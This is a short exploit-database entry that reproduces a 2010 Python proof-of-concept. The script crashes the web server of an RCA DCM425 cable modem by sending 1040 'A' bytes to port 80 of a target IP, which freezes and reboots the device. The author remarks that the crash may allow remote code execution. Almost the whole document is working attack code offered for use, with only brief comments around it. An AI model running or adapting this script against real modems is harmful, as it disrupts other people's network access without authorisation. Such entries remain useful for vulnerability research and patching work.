发布 2010-02-28 漏洞条目

RCA DCM425 Cable Modem – ‘micro_httpd’ Denial of Service (PoC)

Exploit Source

#!/usr/bin/python

# Title: RCA DCM425 Cable Modem micro_httpd DoS/PoC

# Date: 02/27/10

# Author: ad0nis ad0nis@hackermail.com

# Info: This script causes a Denial of Service on a DCM425 cable modem.

# Sending 1040 bytes causes a reboot of the device after a few seconds

# of it freezing up. I believe this may lead to remote code execution

# but I did not bother to test it further.

# By default, this cable modem has an IP address of 192.168.100.1

# There are two different but similar models of this router, the only

# difference I see between them is that one has an On/Off button on the

# front. The one I discovered this on is the one without a button. I

# have not tested this on the other model.

# Thanks to ShadowHatesYou for the inspiration to look closer at the

# little black box on my network.

import sys, socket

target = sys.argv[1]

buffer = ( "\x41" * 1040 )

print "Sending 1040 A's to" ,target, "on port 80\n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((target,80))

s.send(buffer)

s.close()

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